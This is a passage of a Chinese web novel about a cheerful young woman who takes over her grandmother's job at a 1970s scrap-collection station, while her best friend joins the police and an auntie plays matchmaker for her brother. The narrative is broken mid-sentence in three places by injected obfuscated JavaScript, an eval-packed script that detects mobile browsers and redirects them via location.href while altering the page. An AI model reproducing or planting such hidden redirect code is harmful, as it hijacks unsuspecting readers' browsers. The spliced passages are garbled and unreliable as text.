“那我也问你,这跑步有那么开心吗?” 两人看着对方,同时回答:“有!” 随即同时笑出来,笑声传到客厅,其他三人习以为常地耸耸肩,她们只要待在一起就会这样莫名地大笑。 关上灯同时躺到床上,一人一条小毯子盖住肚皮。 “小美,你工作怎么样了?” 熊幼美翻了个身,冲着她嘿嘿笑:“搞定了,我妈去找奶奶买的,花了八百多呢,明天就去办手续。” 唐虎薇也难掩兴奋:“我明天也要去派出所报道了。” 唐虎薇的工作不是买的也不是接谁的班,而且靠自己的突出表现被破例招收的。 她从小就十分有正义感,捡到一分钱都会实打实交给警察叔叔,长大一点更是开始抓小偷,刚开始总会受伤,但是经验多了就好很多,帮助破获了几个大案,收到的奖状贴了一整面墙。 所以她刚毕业就被特招,先去派出所锻炼,如果潜力够大,可能还会升到市局。这事儿只有几个人知道,省得徒增变故。 熊幼美戳她的腰,“想笑就笑嘛,我知道你梦想成真,如愿以偿,肯定特高兴。” “哈哈哈哈,我就是特别高兴,虽然以前也在干喜欢的事儿,但是总有人说三道四,这下好了,以后都名正言顺了!” “你腿长,穿警服肯定特别帅,到时候我们就去照相馆拍照留念!” 唐虎薇偏头问:“那你是什么工作啊?我还没听你说,有制服吗?” “废品收购站,你觉得会有制服吗?顶多让我妈给我发个套袖,省得弄脏衣服。” 唐虎薇被她逗笑,熊幼美长叹一口气,趴在枕头上,声音低落:“真羡慕你,一直都知道自己未来想做什么,不像我,每天只知道玩,对以后也没什么规划。” “嗐呀,这有什么的,没有梦想的人多了,反正你不管干什么都很开心,所以梦想慢点来也没关系啊。”唐虎薇虽然大大咧咧,但是内心其实细腻又温柔。 “你说的也是,睡觉,睡觉,明天早点起来,迎接命运崭新的一天!” “嗯,早睡早起对身体好。” 第二天熊幼美早早地便起床了,因为她还有一个比她更早的好朋友要晨跑。 等她洗漱完,唐虎薇刚好跑回来。 李虹霞招呼她们:“你们俩快过来吃饭,有薇薇带着,小美起床都麻利了。” 熊幼美纠正:“妈,你要叫她小虎,这名字多威风啊,我们班其他人都叫她虎姐。” “好好好,小虎,小虎,快来吃。”李虹霞懒得跟闺女掰扯这个,不够浪费口水的。 熊桦逗她:“来,小虎子,吃个窝窝头。” 唐虎薇摇头,一点也不见外:“桦哥,我想吃菜团子。” “吃,自己拿。” 菜团子里面不仅有野菜,还有鸡蛋和萝卜丝,放一点点油,油香油香的,野菜和萝卜丝鲜甜脆口,吃起来不比白馒头差。 就着菜团子喝红薯粥,切成块的红薯香甜软糯,这样的早餐十分丰盛。 吃完饭,熊桦和熊爱国去上班,李虹霞带着熊幼美去办手续。 唐虎薇则自己去报道,她爸妈大概不会陪她,刚好她也不需要。 派出所离家属院不远,跑着去就当锻炼身体了,唐虎薇很乐观。 即使父母反对,她也要过自己想要的人生。 熊幼美坐在后座搂着李虹霞的腰,自行车带起的风吹乱了她的一头小卷毛,乱蓬蓬的,每一绺卷发在阳光下都泛着光晕。 等她们到的时候熊奶奶还没来,在供销社门口等了一会儿才到。 三个人汇合后去了人事科科长的办公室,因为废品收购站挂靠在供销社系统,接班自然也得来供销社办理。 简单沟通一下,科长就了解了,下乡大势下,这是常有的事儿。 各种手续一应俱全,他只用盖章就行,盖完章,叫来一个人。 “小张,你带着小熊同志去废品收购站,工作内容和一些注意事项都给她讲清楚。你们有什么不懂的也可以问小张。” 李虹霞:“好,麻烦宋科长了。” 小张是年轻的办事员,瞅了一眼熊幼美就有些脸红,不敢再看她,闷着头往前带路。 至于熊奶奶就先走了,这里也没她啥事儿了。 小张一路走一路介绍:“废品收购站一般有两个工作人员,你是新接班的,另一个是干了十几年的王大妈,人很热心,蛮好相处的。” “哦哦。” “对了,你是什么学历?” “高中毕业。” “那蛮好,废品收购站虽然人少,但是工作也挺多挺细的,之前都是两个大妈在那上班,账目记的乱,毕竟年纪在那。你这一去肯定就好多了。” 说着就到废品站了,离供销社不远,废品收购站是一个大院,铁大门有些破旧,红油漆脱落,露出黑色锈迹。 进去后是四四方方的院子,两边各有两间屋子,堆满了废品,正中间的大屋有一张炕,里面还有火炉和桌椅,收拾的很利索。 “王大妈,您来了啊?这是新同事,之前的熊奶奶退休了,这是她孙女,以后就是她来接班了。” 王大妈面相有些严肃,嘴角紧绷,但是仪容整齐,是个爱干净的人。 “王大妈好,我是熊幼美,您喊我小美就行了。” 王大妈沉默地点点头。 几人又走出去,小张介绍:“王大妈是烈士家属,别看有些严肃,但是是个好人。反正你就她一个同事,慢慢相处就知道了。” “好。” “现在说说你的工作内容。废品收购站就两方面内容,一个是登记账目,每天你什么时间收了什么东西,花了多少钱,还有每天卖了什么物品,收了多少钱,这都需要一一记下来,每月月底最后一天还要拿着账目到供销社的财务科查账。” “这方面的工作需要一定的文化水平。另一方面的工作就是把收来的废品归置到位了,这部分一直是王大妈在做,她做事条理清晰,干净整洁,工作一直做得很好,所以应该是由你来负责记账,如果收的废品太多你也可以搭把手,毕竟都是同事嘛。” 熊幼美乖巧点头:“嗯嗯。” “还有就是工资这一块儿,废品站上班没有学徒期,一个月工资就是二十四块五,每年涨两块工龄钱,每月也会发一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491176|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些票据。” “好。” 小张转了一圈,摸摸后脑勺,寻思着说:“其他应该也没什么了。” 熊幼美举手:“那我午饭在哪儿吃?” “哦对,还有午饭,咱们供销社有职工食堂,离得近,你可以去那吃。刚才你也看见了,堂屋还有火炉,你们可以自己做饭或者带饭盒热着吃,反正怎么吃都可以,只要不耽误工作就行。” “好。” “还有。”小张严肃提醒:“一定不要迟到早退,会有人不定时过来抽查,抽查到这种情况会被通报批评,扣工资的。” 熊幼美立刻表衷心:“知道了,我一定勤勤恳恳做人,认认真真工作。” 小张捂着脸笑了,如果不是小姑娘长得讨喜,他也不会说的这么事无巨细,就怕遗漏了。 他们说的时候,李虹霞在四处转悠,环境挺好的,没有她想的脏乱差,便说:“那我就先回去上班了,你今天就熟悉熟悉工作,有什么不会的就问问王大妈。” “对了,张同志,什么时候换饭票啊?她这中午饭去供销社食堂吃应该需要单位发的饭票吧?”去食堂吃饭一般需要饭票,这饭票不是免费发放,需要用钱和粮票换。 小张:“今天就可以换,等会我带她去就可以了,阿姨您工作忙,我领她去就行。” 李虹霞:“谢谢您了啊,张同志。小美,你身上有钱和粮票,自己看着换,多了也没事。” 熊幼美:“我知道啦,妈妈。” “那我先走了,你好好工作,妈妈相信你。” 临走前李虹霞有些多愁善感地抱了抱女儿,人生第一次完全脱离家的避风港,去到外面工作,她真是有一千万个不放心。 熊幼美拍拍妈妈的背,安慰道:“妈,你放心吧,我是您女儿啊,肯定不会有什么问题的,你难道不相信自己吗?” 李虹霞被哄得眉开眼笑,什么愁情都没了,挥挥手,骑上自行车就走了。 从背后看,还能看到她手背擦过眼角。 小张颇有些目瞪口呆,第一次见送孩子上班是这个架势,又不是送小孩上育红班,也不是送孩子下乡,有必要吗? 小张磕磕绊绊地说:“你,你妈挺疼你啊。” 熊幼美骄傲地扬起脑袋,小卷毛扑棱着。 “嗯,我妈最疼我!” 紧接着说:“我们快去换饭票吧,供销社的午饭好吃吗?” 小张与有荣焉地竖起大拇指:“好吃,我们食堂别看不如大厂的食堂大,但是味道好啊,大厨厉害着呢。” “你中午就和王大妈一起来吃就行,你们俩也可以做个伴。” “好啊,好啊。” 熊幼美本就是个话痨,跟谁都能唠两句,小张也是年轻人,两人聊的格外投缘。 等领完饭票和菜票,熊幼美就回废品收购站上班了,今天是第一天,还有很多地方需要自己熟悉。 小张带着笑容回到办公室,刚进来就被围着问。 “刚才那个姑娘多大?上过学吗?” “她有对象吗?结婚了吗?” “她家住哪儿?父母是做什么的?” 问的人是大妈,年轻小伙子则竖起耳朵。 明眼人都看得出这小姑娘条件很好,不光白白净净,长得漂亮,就连穿着打扮也体面。 大家心思各有所动。 这边的小张遭遇围攻,熊幼美则迈着轻快的脚步回废品收购站了。 5. 遇到野生媒婆 熊幼美溜达着回到废品收购站,堂屋里的王大妈正在做针线活。 “大妈,咱这工作忙吗?” 王大妈抬头看她一眼,“还行,除了单位清过来的废品,其他时候都挺轻松的。” 这个单位指的什么自然就是心照不宣了,熊幼美也不是什么都不懂。 家家户户过日子都仔细,轻易不会把东西卖成废品,大家嘴上常念叨的就是新三年,旧三年,缝缝补补又三年。 熊幼美越来越满意,这工作就是人少事少钱……钱也少。但是没关系啊,反正她吃住都在家,不用花钱,工资都算她的零花钱,比以前宽裕多了。 “王大妈,你有什么需要帮忙的就喊我啊,我们互相帮助,中午的时候一起吃午饭。” “呃,好。”王大妈只有一个儿子,还成为烈士了,家里只有她自己,每天回到家连个说话的人都没有,现在突然来个热情洋溢的年轻姑娘,她还有些不习惯。 熊幼美坐都没坐,就去放纸废品的屋子里寻宝去了。 她盯上这里许久了。 撸起袖子就是找,找了半天终于翻出三本没有看过的小人书。 她带着小人书到堂屋,翻开废品收购站的账本,看了看上面记录的废品买卖价格,小人书论斤卖,她把刚才找到的小人书放上去称,然后一项项登记,最后把钱放进钱匣子。 “大妈,你帮我作证哈,我买了这三本书。” “知道了。”王大妈停顿了一下,还是说:“其实你不买也看不出来的,这事都是睁一只眼闭一只眼。” 熊幼美拍拍沾满灰尘的手,笑着说:“没事儿,我乐意为它花钱。” 王大妈觉得现在的年轻人花钱大手大脚,明明可以省,偏要花钱。不过她这样一板一眼倒也没人会说她做得不对。 王大妈点点头不再说话,一时间除了翻书的声音和窗外的蝉鸣声、树叶婆娑声,没有别的动静了。 王大妈做完针线活,扭扭脖子,不期然看见旁边安静看书的熊幼美,心想和小姑娘一起工作挺好的。 不像熊老太太在这的时候,算盘声啪啪响个不停,也不知道整天在算什么账。 中午的时候,熊幼美拎着铝饭盒和王大妈一起去食堂。 路上熊幼美闲着没事把王大妈家里家外打听了个遍,她这人就有这点不好,闲不住,不是眼睛闲不住,就是嘴巴闲不住。 听到王大妈平静地说家里只有她自己的时候,熊幼美心里泛起软绵绵的疼。她从小在爱里长大,身边有很多朋友,每天热热闹闹,开开心心。可是她一想到认识的王大妈过着这样孤寂的日子,她就有点不好受。 “王大妈,你逢年过节的时候可以来我家,我家人多,你过来就更热闹了。” 熊幼美虽然有些冲动,但是邀请是真心的,这是李虹霞同志的爱给她的底气。 而且通过废品站的打理能看出来,王大妈这人做事很有条理,人也正派,是很值得深入交往的人。 王大妈苦口婆心:“小美,你是不是傻?哪有随便就请人到家过节的?” 熊幼美则有自己的一番道理:“你是烈士母亲,也是我同事,以后就是我朋友了,请朋友回家过节没什么的,我妈也会同意的。” 王大妈看出来了,这姑娘生就了一副软心肠,但是她却不想没眼力见地打扰人家。 “到时候再说,说不定我有别的安排呢。” 这是一种婉拒,熊幼美想着到时候再劝,便没再勉强。 到了食堂,里面的人挺多的,正是吃饭的点,耳边尽是人声喧腾。 熊幼美跟着王大妈排队打饭,她踮着脚瞅今天的菜色。 “你换饭票了吗?如果没换我可以借给你。”王大妈轻易不借给人钱和饭票,因为她一个孤寡老人,很容易被赖账不还。 熊幼美扬了扬手里的饭票,“换了换了,等我哪天忘了换再跟您借。” “行。” 熊幼美打了一份炒白菜和一个大馒头,还有一碗绿豆汤,这是夏天特别供应,以免工人中暑。 她和王大妈坐到了角落。 小张也来吃饭,打完菜张望了一会,看见一头小卷毛,便知道是谁了。 “小熊同志,你工作还适应吗?有什么不懂的可以问王大妈,也可以问我。” 熊幼美啃着馒头抬头,见到熟人,眼睛弯弯,“张同志,你真是个热心肠,我暂时没有什么不懂的,你快去吃饭吧。” “好,我先走了,小熊同志。” 王大妈什么都没问,她不是好打听的人,同桌的圆脸大妈见熊幼美长得好,心里喜欢,便搭话:“刚才那个人是你对象?” “不是啊,今天刚认识,但是人很善良。阿姨,你要给他介绍对象?”熊幼美反客为主,期待地凑过去,饭都不想吃了,就想唠八卦。 大妈否认:“我给他介绍啥对象啊,我只有俩儿子,对了,姑娘,你没有对象,要不大妈给你介绍个对象?” 熊幼美一脸真挚:“我不能找对象,我家还有个哥哥,我们家的传统就是哥哥没结婚,当妹妹的不能抢在他前头。” 大妈眼神怀疑,似信非信。 熊幼美继续说:“大妈啊,您真没有好姑娘介绍吗?我哥条件很好的,中专毕业,长得也好,您看我长相,就知道他长得差不了,大妈您好好想想有没有合适的姑娘啊,我哥这样的男青年真是可遇不可求啊。” 被这一大串的好条件忽悠晕了,大妈真琢磨起来家里哪个侄女外甥女还没结婚,不过她还有问题。 “既然你哥这么好,他怎么还没结婚?” “我哥这不是眼光高嘛,他就想找个有文化的姑娘能聊得来,长的要合眼缘,个子不能矮,我哥一米□□呢,而且一定要有个工作,这样各方面才能合适啊,结婚不都讲究门当户对嘛。”说到最后,她叹气:“这样的姑娘难找啊。” 大妈嘴角抽了抽,第一次见妹妹这么担心哥哥嫁不出去的。 “等我遇到合适的再给你哥介绍。” “谢谢大妈,那就拜托您了,哎呦,没时间了,咱们快吃饭吧。”熊幼美立刻缩回去,埋头吃饭。 这下安静了,熊幼美刚刚滔滔不绝说个不停,这会儿吃完馒头喝了半缸子凉白开。 王大妈坐在她旁边,增加了对新同事的认识。 看着没心没肺,实则一点不吃亏,大概是,大智若愚? 下午废品站依然是一片宁静祥和,偶尔来一两个卖废品的小孩,称重、给钱、登记就可以了,这种活不费脑子,做熟练了就会越来越麻利。 没人的时候熊幼美继续看小人书,看完一遍后,从包里掏出画本,自己对着书画上面的小人。 看了越来越多的小人书后,她手痒开始尝试模仿画书上的小人,一边画一边想着这些人在书外可能会发生的新故事。 又好玩又打发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491177|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间,何乐而不为呢。 就这样又能工作,又能做自己喜欢的事打发时间,熊幼美感觉时间嗖地一下就过去了。 下班了,熊幼美起身收拾东西,“大妈,这些东西放在这儿不会丢吧?” “不能丢,下班了这些屋子的门都会锁上。” 熊幼美放心了,挥挥手便颠颠地往家走,路上遇到了一群其他厂下班回家的工人,她走在其中却再显眼不过,因为她脸上明媚的笑容足以照亮这个靛蓝色的傍晚。 旁边有好事的大娘搭茬:“同志,你在哪个单位上班啊?” 熊幼美嗓音清脆:“废品收购站!” “呃。”看她这么自信,还以为是什么干部岗呢,原来就是个收废品的。 大娘当即就不说话了,用奇怪的眼神瞅她的背影。 熊幼美一进大院就有邻居打招呼,刘阿姨:“小美啊,听你妈说你找着工作啦?上班第一天还适应吗?” 熊幼美笑眯眯地边走边应:“对,找着了,上班挺好的,认识了很多新朋友。” 边说边大步上楼,她现在没心情在楼下和大妈大婶闲唠嗑,只想赶紧回去找唐虎薇,第一天上班,不知道她顺不顺利。 身后的刘阿姨对着旁边人夸熊幼美,“小美这性子不怕生,像咱四九城的闺女,到哪都吃得开。” “是啊,还是李虹霞教得好,虽然太娇惯,但是孩子还是好孩子。” “现在都工作了,看着还跟个小孩似的,昨天又把小胖逗哭了。” “谁说不是呢。” …… 熊幼美到家时家里还没人,把包放下后,去隔壁隔着门喊唐虎薇的名字。 没有人应,应该是还没回家,熊幼美挠挠卷毛,转身回自己家。 她趴在客厅桌子上看小人书的时候,门外传来唐虎薇叫她名字的声音,熊幼美蹭地一下站起来。 打开门,果然是穿着藏蓝色警服,英姿飒爽的唐虎薇。 熊幼美忍不住笑出两颗酒窝,拽着她的手左看右看,上看下看。 “小虎,你穿这身衣服真好看,你天生就该穿这身警服。” 唐虎薇一本正经绷着脸,整理帽子,唰敬了个礼,大声说:“为人民服务。” 熊幼美被她的架势震了一下,随即扑哧一声,拍着她的肩膀哈哈笑:“太好了,我们小虎总算如愿以偿了,等下我们下去转转,带着小胖一起。” 小胖身形圆润敦实,但是性格老实,总是被附近的小孩欺负,甚至勒索,所以这一趟很有必要。 熊幼美把小胖喊下来,略显惆怅地说:“我和小虎以后要每天上班,不能经常陪你玩咯,别太想我们。” 小胖信了,眼泪汪汪:“小美姐姐,以后我也要去废品站上班,和你一起。” 熊幼美脚下一顿,捏捏庞桐肉乎乎的小脸,恨铁不成钢:“你可真有出息,要想跟我们一起,也得去派出所上班啊,跟你虎薇姐姐学,跟我学什么呀。” “可是废品收购站好玩啊,小美姐姐在那里上班很高兴,我也要去。” “我这是天性乐观,你这个爱哭鬼还是跟你小虎姐姐学吧,我这个可不好学。”熊幼美非常有自知之明,甚至有些骄傲。 唐虎薇摩挲着小胖的发茬,嘿嘿笑:“要不跟我学当公安吧,每天和我一起跑步,不仅能减肥还能不挨欺负。” 两个大姐姐都这么说,庞桐晕乎乎地就同意了。 6. 爱撒娇的熊大 沐浴在夏日傍晚的风里,三个人把整个巷子都转了一圈,心满意足打道回府的时候刚好碰见李虹霞,熊爱国和熊桦。 “妈,你们一起下班回来了?” 李虹霞:“刚好碰见了,你们这是干啥去了?呦,小薇穿这身衣服真好看诶,有精神,又高又瘦,这以后当警察了可得多吃点,抓坏人才有力气。” 所以熊幼美的滔滔不绝也有了来处…… “妈,我都跟你说了,要叫她小虎,坏人一听,气势上就能压倒他们啊。”熊幼美再次重申,嘴上念念有词。 “哎,我这不是一激动就给忘了嘛,下次肯定改,对了你们还没说干啥去了。” “嘿嘿,我们告诉大家这个好消息去了,有个公安住在咱大院,多有安全感呐。” “我懂了,显摆去了吧。”李虹霞了然,“下次让小虎和我一起出去,从小看着长大的孩子这么有出息,我也得好好显摆显摆。” 李虹霞推着自行车走在闺女最前面,唐虎薇和庞桐走在中间,最后面是熊爱国和熊桦。 只要母女俩在一起就有聊不完的话,从南扯到北,两人的声音能组成一个合唱团。 熊桦快走两步,“小虎子,第一天上班感觉咋样?还顺利吗?” 唐虎薇竖起大拇指,由衷赞叹:“所里的前辈懂得很多,那些经验够我学很久了。” 庞桐晃晃熊桦的手,仰着脸:“小美哥哥,我以后也要当派出所的警察。” “你为什么叫我小美哥哥?” “因为你是小美姐姐的哥哥啊。” 熊桦:…… 好像很懂礼貌,又感觉有被冒犯到。 这天晚上很多人听说唐虎薇被派出所特招,悔得捶胸顿足。要是告诉他们见义勇为有这好事,他们也抢着干了啊。 他们不知道,所长看中的就是唐虎薇这份天然的正义感和赤子之心。 唐虎薇回到家,林梅没有给好脸色,但是也没有冷嘲热讽,唐父给她一个无奈的眼神。 唐虎薇径直回房间,自从家里多了对龙凤胎,她越来越深刻地体会到父母的爱在一夕之间就发生了根本转移,大部分转移到了弟弟身上,小部分连带着给了妹妹。 小事不管不问,大事指手画脚,唐虎薇决定尽快申请所里的单身宿舍。 但是申请下来的可能性很小,因为宿舍紧张,她家又住得开,这样的情况很难被分配。 唐虎薇一边跑步一边琢磨,路过她工作的派出所,里面透出灯光,有同事在值班,她不禁笑了一下。 她的人生终于迈出了她最期待欢迎的一步,所以无论发生什么都无碍于她的好心情。 第二天一早,夏蝉不知疲倦地叫,被吵醒后,熊幼美麻溜地起床吃饭。 熊幼美在厨房探头探脑,“爸,今天早上吃什么呀?” 熊爱国细数:“酥油饼,红薯稀饭,还有之前腌的萝卜条。” “一大早就很丰盛嘛,爸,快好了吗?我饿了。” “快了快了。”熊爱国乐呵呵地说。 吃饭时,熊桦抬头:“妈,咱家是不是要重新分配家务?小美都上班了,应该干家务活了吧,不然以后到婆家不得整天挨骂啊。” 李虹霞听见他的声音就头疼,整天告状,儿子就是烦人精! “行了,以后周一周二你干,周三周四你爸干,周五周六我干,周天小美干。” 熊桦抗议:“凭什么小美就干一天啊?不公平!” “你要是不想干就跟你爸商量,让他替你干,跟我说不着,我要是乐意,小美那一天我还替她干呢。” 压力给到熊爱国同志,熊爱国眼观鼻,鼻观心,大口大口啃咸菜饼子,胡噜完一碗粥就起身走了,几乎夺门而逃。 熊桦收回哀怨的视线,“妈,你干啥不能多疼疼我。” 这腻歪劲儿,熊幼美还没怎么样呢,恶心得李虹霞差点把嘴里的粥吐出来。 “你好好说话,别总跟外面人攀比这些有的没的,多比比工资,比比能力,你们厂里的先进个人和五好职工,多和这些人比比,找找自己的不足。” “行了,你自己好好想想吧,吃完把碗刷了。” 李虹霞日常教育完儿子,自己也一抹嘴走了。 熊幼美和熊桦大眼瞪小眼,熊桦:“看什么看?” “哥,咱妈也是疼你的,只是嘴上不好意思说,你别往心里去。” 熊桦扯扯嘴角,啥不好意思说啊,跟他妹面前,她妈那张嘴就跟抹蜜似的。 这瞎话熊幼美居然睁着眼睛就能说出来。 熊桦佩服,这对母女一强硬一柔和,一套一套轮番来,太有能耐了,就差把他哄得一愣一愣。 可惜他早就看穿了! “行了,你也别往我脑子里灌大米粥了,我不傻,你赶紧吃完我送你去上班,正好看看你单位的环境。” “好嘞。” 熊桦和熊幼美锁门去上班,路过大院槐树。 “兄妹俩一起上班啊?” “昂,吴姐一大早就带小兰出来玩啊?挺好,早上天不热,孩子也不难受。” 这是住在一楼的吴姐吴丽,和她老公有一个一岁多的女儿,孟兰。 “是啊。”吴姐抱着女儿说:“你们快去上班吧,晚上让你妈来我家一下。” 什么事她没说,但是熊幼美猜得到。吴姐缝纫手艺好,所以经常接一些私活补贴家用,她妈妈是其中的大客户,只要手上有多的布料,就会来做一件衣服,大部分都是她们娘俩的。 “知道啦,吴姐我们先走了,你带着孩子玩吧,注意别中暑了。” 熊桦耐着性子等在一边。 他在外面话不多,保持谨言慎行的态度,他妹妹则是完全相反,什么话都敢说,什么人都能唠。 熊幼美走在路上也不老实,不是呦呵呦呵小猫小狗就是踢着小石子捡个小树枝……一刻也闲不住。 熊桦已经习惯了,每次跟她出来就跟带了个小孩似的,这也是他找对象不积极的原因之一。 “看着点车子。”熊桦跟在后面慢悠悠地提醒。 “哥,咱家啥时候再买一辆自行车啊?” 她们家现在只有一辆自行车,日常是李虹霞在骑,因为她的工作要经常去别人家调解,有自行车更方便。 “想好事儿吧,就算有钱买也没票啊。走快点,时间快来不及了。” “哦。” 熊桦把熊幼美送到废品收购站,和王大妈寒暄几句,放下一把花生糖就走了。 “你和大妈一起吃,甜甜嘴也不至于你在这无聊得浑身乏。” 王大妈多看了两眼这个高猛的小伙子,看着粗糙,实际上粗中有细。 熊幼美:“大妈,一起吃。” 王大妈低头看面前的酥糖,这才是真正心粗的。 今天的情况和昨天差不多,现在是暑假,只有小孩子满街捡废品给自己赚糖块。 正中午是一天中最热的时候,空气中的热气几乎凝结成流动的液体,坐着不动都会冒出细汗。 这个时间不会有人来卖废品,熊幼美仰躺在宽大的椅子里,手中轻拍着大蒲扇,昏昏欲睡。 就在她快要睡着的时候有人把她叫起来,睁眼一看,是昨天吃饭时想给她介绍对象的大妈。 大妈顶着大太阳过来,额头上的汗珠擦都擦不完,熊幼美把扇子递给她,也不知道是啥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491178|185870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急事,大中午的就过来了。 “大妈,您找我有事啊?”熊幼美直起身喝口水,润润嗓子。 “我姓孙,你叫我孙大妈就行了,你昨天不是跟我说你哥还没对象吗?” “对啊,大妈您找着合适的人了?” “对!我嫂子的娘家弟媳有一个表妹高中毕业,虽然是临时工,但是也算有工作不是,长得也不错,你看看要不跟你爸妈说说,让他们相看相看?” 嫂子的娘家弟媳的表妹? 嘿,这关系还真不远。 但是熊幼美还是瞬间来了精神,每当遇到感兴趣的事,她总会身体前倾,凑近脑袋,眼睛炯炯有神,好奇地问:“叫什么名字呀?多高?家里有兄弟姐妹吗?性格好相处吗?” 孙大妈一一细数女方的条件,今年二十岁,有一个弟弟,一米六的身高,长相白净,不爱说话…… 熊幼美掰着手指算了算,他哥今年二十岁,和姑娘年龄相仿,其他条件也挺般配的。 “行,我回家跟我妈说说,我妈同意了你们商量,我就传个话。” 孙大妈拍掌,“哎,对咯,我就是这个意思,你这个小年轻哪能给你哥做媒啊。” 熊幼美和孙大妈相视一笑,满含对对方的欣赏,显而易见,她们俩都是那种闲不住爱管闲事的人。 晚上吃饭的时候熊幼美在饭桌上说了这件事。 “妈,爸,我有一个同事要给哥哥介绍对象,女生的条件蛮好的……” “王大妈?” 废品收购站只有王大妈和她两个人,于是李虹霞下意识问。 “不是,是在供销社工作的一个大妈,人很热心肠,听说我哥没对象连夜给找了个合适的,是她嫂子的娘家弟媳的表妹,可想而知,这得费多大劲。” 熊桦抬手:“等下,她从哪听说我没对象的?” “呃,可能是别的什么大爷大妈说的吧,他们一贯都很好事儿。”熊幼美摸耳垂。 “别瞎掰了,肯定是你说露嘴了,我还不了解你?!” 熊幼美举手投降:“那我还不是为你好?你就说见不见吧。” 熊桦看向李虹霞,“妈,我要是见了也相中了,结婚后你真要把我们赶出去?” 李虹霞沉吟:“要是你娶的媳妇是个好相处的,就留在这家里过,要是爱挑事,就趁早打包袱搬走。” 不结婚几乎不会分房,结婚后分房也要排队,现在住房紧缺,不知道得排到哪辈子呢。 得了亲妈的话,快两米的汉子眼神热切,深情脉脉道:“妈,我就知道你舍不得我。” 李虹霞眼皮一跳,后悔多嘴,这样个腻歪人的玩意儿赶紧放生得了,留在家净给她添堵。 熊爱国见没人说话,咳嗽两声。 熊桦随口问:“咋了爸?渴了?多喝粥顺顺气儿。” 熊幼美:“……我给你倒水,爸。” 熊爱国止住她的动作,说:“熊桦结婚后,没分房子前可以住在家里,每个月交三十块生活费,怀孕的营养品和孩子的生活费另算。” 熊桦目瞪口呆,他习惯了亲爹沉默寡言,没想到他还能整这一出。 熊桦想开了,碗一推,索性道:“那我不结婚了。” 李虹霞放下碗筷,擦擦嘴:“随你。” 熊幼美也跟着学,碗一推,“你不结那我也不结了。” 李虹霞胡乱揉揉她的小卷毛,“你还是个小孩儿,结什么结,找小虎玩去吧,我去楼下拿衣服。” “好耶,爸你刷碗。” 熊爱国点头,刷完碗再下楼下棋。 心思细腻的熊桦心一下凉成冰碴子,在这个大大咧咧的家里,他好像是个异类。 7. 抠搜男引发家庭变革 第二天熊幼美就穿上了新衣服,是一件鹅黄色的短袖衬衫,右边口袋处还绣了一只棕色小熊,下半身穿了一条黑色长裤,轻盈又不失沉稳。 但是她一笑露出一颗小虎牙,什么沉稳都烟消云散,只留下年轻人的活力与朝气。 迎着晨光走在路上,鹅黄色的衬衫格外亮眼,让人耳目一新。 熊幼美也很开心穿新衣服,于是上班路上约唐虎薇周天去下馆子,庆贺她们正式参加工作了。 唐虎薇欣然点头:“行啊,我们去哪儿吃?国营饭店?” “得嘞,就这样说定了哈。”熊幼美挥挥手:“小虎你上班注意安全,我先走啦。” “小熊晚上见。” 她们只同路一段,到了派出所她们就分开了。 上午有三个小孩一起过来卖旧报纸。 “你们在哪弄的这些旧报纸啊?”熊幼美边称重边问。 其中一个穿着军绿色短袖的小孩蹦着高说:“我们家攒的。” “那你们家长知道吗?” “知道,他们让我们来的。” “嚯,这么说你们还挺勤快,一共三角五分钱,交给谁啊?” 小孩继续说:“我来拿,我是老大。” 瞧这积极的模样,熊幼美不禁乐了,看见这小孩就好像看见了小时候的自己,带着一群朋友到处跑着玩,不嫌热也不觉得累,遇到大孩子欺负,蹭地往旁边一稍,给小虎腾地方,让她伸出正义的小拳头。 这么想,小虎能当警察离不开自己对她的培养啊,所以她才打小起就正义感十足。 当她把结论告诉唐虎薇的时候,唐虎薇差点甩开她的胳膊,捏住她脸上的软肉,咬牙切齿地说:“你还好意思说?不过你说的也对,要不是你走哪都能惹事,我哪有那么多锻炼的机会啊!” 熊幼美无辜地说:“有这回事吗?算了,反正都过去了,不提了。” 唐虎薇追上去掐住她的脖子,这个家伙怎么这么坏,对自己不利的事就忘得特别快! “姐姐,给钱,你不会看我们是小孩就赖账吧?”小孩摊着手眼神怀疑。 熊幼美赶紧回过神把钱给他,“喏,别弄丢咯。” “知道知道,下次我们再来。” “行,下次最好能捡点小人书来卖。” “为啥要小人书?这个比较值钱吗?” “不值钱,但是我爱看。”熊幼美理直气壮地以权谋私。 小孩噘噘嘴,把钱放进内裤兜里,跟自己的好朋友疯跑出去。。 中午吃饭的时候,又和孙大妈坐到了一起,孙大妈迫不及待地问:“咋样了?你妈啥意见?” “我妈没意见,我哥有点意见。” “他啥意见?哪个好小伙不想娶媳妇儿?” “他嫌结婚费钱,所以不想找媳妇。”熊幼美仔细回想昨天熊桦的话,随即认真点头,确实是这个意思没错。 